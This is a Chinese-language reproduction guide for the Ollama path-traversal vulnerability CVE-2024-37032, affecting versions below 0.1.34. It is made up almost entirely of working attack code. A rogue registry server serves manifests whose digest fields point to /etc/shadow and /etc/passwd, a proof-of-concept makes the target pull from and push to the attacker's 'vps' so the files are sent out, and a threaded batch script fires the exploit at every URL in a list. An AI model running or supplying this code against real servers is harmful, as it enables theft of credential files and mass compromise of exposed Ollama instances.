一、Ollama简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

二、Ollama远程代码执行漏洞(CVE-2024-37032)

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

三、影响版本

Ollama < 0.1.34

四、漏洞复现

1、第一步:搭建环境

1
docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

2、第二步:开启Rogue registry server

在云服务器开启server.py 文件,vps改成服务器的IP地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from fastapi import FastAPI, Request, Response

HOST = "vps"
app = FastAPI()

@app.get("/")
async def index_get():
return {"message": "Hello rogue server"}

@app.post("/")
async def index_post(callback_data: Request):
print(await callback_data.body())
return {"message": "Hello rogue server"}

# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
return ''

@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
return 'cve-2024-37032-test'

@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
return ''

@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
return 'cve-2024-37032-test'

# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
print(await callback_data.body())
response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
return ''

@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
print('patch')
print(await callback_data.body())
return ''

@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
print(await callback_data.body())
return ''

@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
print(await callback_data.body())
response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
return ''

if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=80)

3、第三步:执行恶意攻击

运行如下poc.py 脚本,vps 与上面vps的IP保持一致,target_url 是要攻击的ollama服务器地址。注意:vps 与 target_url 最好不要放置在同一个服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

HOST = "vps"
target_url = "http://target_url"

vuln_registry_url = "vps/rogue/bi0x"

pull_url = f"{target_url}/api/pull"
push_url = f"{target_url}/api/push"

requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})
requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})

# see rogue server log

执行之后,看server.py 的执行结果

五、漏洞批量检测

1、server.py 原样不变,保持执行

2、将需要检测的url放置在urls.txt 文件中,注意加http

3、运行如下 pocs.py 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import time
import requests
from concurrent.futures import ThreadPoolExecutor
import urllib3
import threading

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 读取URL的文本文件名
urls_file = "urls.txt"

# 主机名和漏洞注册URL
HOST = "vps"
vuln_registry_url = f"{HOST}/rogue/bi0x"

proxys = {

}

print_lock = threading.Lock() # 创建一个锁对象

def readtxt():
lines = []

with open(urls_file, 'r') as f:
# 读取所有行内容,并去除左右空白
for line in f.readlines():
# 判断最后是不是/,若是则去除
if line.endswith('/'):
line = line[:-1]

# 判断line前面有没有http
if not line.startswith('http'):
# 如果没有,则添加http://
line1 = 'http://' + line
line2 = 'https://' + line
lines.append(line1.strip())
lines.append(line2.strip())
else:
lines.append(line.strip())
return lines

def check_vulnerability(line):
# 目标URL
target_url = line

# 构建API端点URL
pull_url = f"{target_url}/api/pull"
push_url = f"{target_url}/api/push"

try:
# 发送POST请求
response_pull = requests.post(pull_url, proxies=proxys, json={"name": vuln_registry_url, "insecure": True})
response_push = requests.post(push_url, proxies=proxys, json={"name": vuln_registry_url, "insecure": True})

if response_pull.status_code == 200 and response_push.status_code == 200:
with print_lock:
with open("resutls.txt", "a") as f:
f.write(f"{target_url}\n")
# 进行红色输出
print("\033[31m" + f"[+] {target_url} 可能存在漏洞(具体看server日志)" + "\033[0m")
else:
with print_lock:
print(f"[-] {target_url} 不存在漏洞")

except requests.exceptions.RequestException as e:
with print_lock:
print(f'[-] 连接错误,需要配置代理: {target_url}')
except Exception as e:
with print_lock:
print(f'[-] 其他错误: {target_url}')
def main():
lines = readtxt()

with ThreadPoolExecutor(max_workers=10) as executor:
for line in lines:
executor.submit(check_vulnerability, line)

if __name__ == '__main__':
main()

结果将会保存在results.txt 文件中